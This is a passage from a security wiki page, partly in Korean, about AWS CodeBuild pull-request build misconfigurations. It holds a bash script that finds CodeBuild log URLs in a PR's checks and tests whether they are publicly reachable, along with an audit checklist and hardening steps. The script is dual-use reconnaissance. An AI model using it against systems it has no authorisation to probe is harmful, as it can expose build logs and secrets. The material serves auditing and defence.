# Get all commit SHAs in the PR (bounded call to avoid hangs)
|
||||
gh_api "repos/${OWNER}/${REPO}/pulls/${PR}/commits" --paginate --jq '.[].sha' > "$tmp_commits"
|
||||
if [ ! -s "$tmp_commits" ]; then
|
||||
echo "[!] No commits found (or API call timed out/failed)." >&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
echo "[*] PR commits:"
|
||||
cat "$tmp_commits"
|
||||
echo
|
||||
|
||||
echo "[*] Searching commit statuses/check-runs for CodeBuild URLs..."
|
||||
|
||||
while IFS= read -r sha; do
|
||||
[ -z "$sha" ] && continue
|
||||
|
||||
# Classic commit statuses (target_url)
|
||||
gh_api "repos/${OWNER}/${REPO}/commits/${sha}/status" \
|
||||
--jq '.statuses[]? | .target_url // empty' 2>/dev/null || true
|
||||
|
||||
# GitHub Checks API (details_url)
|
||||
gh_api "repos/${OWNER}/${REPO}/commits/${sha}/check-runs" \
|
||||
--jq '.check_runs[]? | .details_url // empty' 2>/dev/null || true
|
||||
done < "$tmp_commits" | sort -u > "$tmp_urls"
|
||||
|
||||
grep -Ei 'codebuild|codebuild\.aws\.amazon\.com|console\.aws\.amazon\.com/.*/codebuild' "$tmp_urls" || true
|
||||
|
||||
echo
|
||||
echo "[*] Public-access heuristic:"
|
||||
echo " - If URL redirects to signin.aws.amazon.com -> likely not public"
|
||||
echo " - If URL is directly reachable (HTTP 200) without auth redirect -> potentially public"
|
||||
echo
|
||||
|
||||
cb_urls="$(grep -Ei 'codebuild|codebuild\.aws\.amazon\.com|console\.aws\.amazon\.com/.*/codebuild' "$tmp_urls" || true)"
|
||||
if [ -z "$cb_urls" ]; then
|
||||
echo "[*] No CodeBuild URLs found in PR statuses/check-runs."
|
||||
exit 0
|
||||
fi
|
||||
|
||||
while IFS= read -r url; do
|
||||
[ -z "$url" ] && continue
|
||||
final_url="$(timeout 20s curl -4 -sS -L --connect-timeout 5 --max-time 20 -o /dev/null -w '%{url_effective}' "$url" || true)"
|
||||
code="$(timeout 20s curl -4 -sS -L --connect-timeout 5 --max-time 20 -o /dev/null -w '%{http_code}' "$url" || true)"
|
||||
|
||||
if echo "$final_url" | grep -qi 'signin\.aws\.amazon\.com'; then
|
||||
verdict="NOT_PUBLIC_OR_AUTH_REQUIRED"
|
||||
elif [ "$code" = "200" ]; then
|
||||
verdict="POTENTIALLY_PUBLIC"
|
||||
else
|
||||
verdict="UNKNOWN_CHECK_MANUALLY"
|
||||
fi
|
||||
|
||||
printf '%s\t%s\t%s\n' "$verdict" "$code" "$url"
|
||||
done <<< "$cb_urls"
|
||||
```
|
||||
다음에서 테스트됨:
|
||||
```bash
|
||||
bash /tmp/check_pr_codebuild_urls.sh carlospolop codebuild-codebreach-ctf-lab 1
|
||||
```
|
||||
</details>
|
||||
|
||||
## 빠른 감사 체크리스트
|
||||
```bash
|
||||
# Enumerate projects
|
||||
aws codebuild list-projects
|
||||
|
||||
# Inspect source/webhook configuration
|
||||
aws codebuild batch-get-projects --names <project-name>
|
||||
|
||||
# Inspect global source credentials configured in account
|
||||
aws codebuild list-source-credentials
|
||||
```
|
||||
각 프로젝트에 대해 다음을 검토하세요:
|
||||
|
||||
- `webhook.filterGroups`에 PR 이벤트가 포함되어 있는지.
|
||||
- `ACTOR_ACCOUNT_ID` 패턴이 `^...$`로 앵커되어 있지 않은지.
|
||||
- `pullRequestBuildPolicy.requiresCommentApproval`가 `DISABLED`로 설정되어 있는지.
|
||||
- 브랜치/경로 제한이 누락되어 있는지.
|
||||
- 권한이 높은 `serviceRole` 사용 여부.
|
||||
- 위험한 소스 자격증명 범위 및 재사용 여부.
|
||||
|
||||
## 하드닝 지침
|
||||
|
||||
1. PR 빌드에 대해 코멘트 승인 요구 (`ALL_PULL_REQUESTS` 또는 `FORK_PULL_REQUESTS`).
|
||||
2. actor 허용 목록을 사용하는 경우, 정규식에 앵커(`^...$`)를 추가하고 정확히 일치시키세요.
|
||||
3. 신뢰할 수 없는 수정이 `buildspec.yml` 및 CI 스크립트에 반영되는 것을 방지하기 위해 `FILE_PATH` 제한을 추가하세요.
|
||||
4. 신뢰된 릴리스 빌드를 신뢰할 수 없는 PR 빌드와 별도의 프로젝트/역할로 분리하세요.
|
||||
5. 세분화된 최소권한의 source-provider 토큰을 사용하세요(전용 저권한 계정 권장).
|
||||
6. webhook 필터와 소스 자격증명 사용을 지속적으로 감사하세요.
|
||||
|
||||
## References
|
||||
|
||||
- [Wiz: CodeBreach - AWS CodeBuild ACTOR_ID regex bypass and token theft](https://www.wiz.io/blog/wiz-research-codebreach-vulnerability-aws-codebuild)
|
||||
- [AWS CodeBuild API - WebhookFilter](https://docs.aws.amazon.com/codebuild/latest/APIReference/API_WebhookFilter.html)
|
||||
- [AWS CLI - codebuild create-webhook](https://docs.aws.amazon.com/cli/latest/reference/codebuild/create-webhook.html)
|
||||
- [AWS CodeBuild User Guide - Best practices for webhooks](https://docs.aws.amazon.com/codebuild/latest/userguide/webhooks.html)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user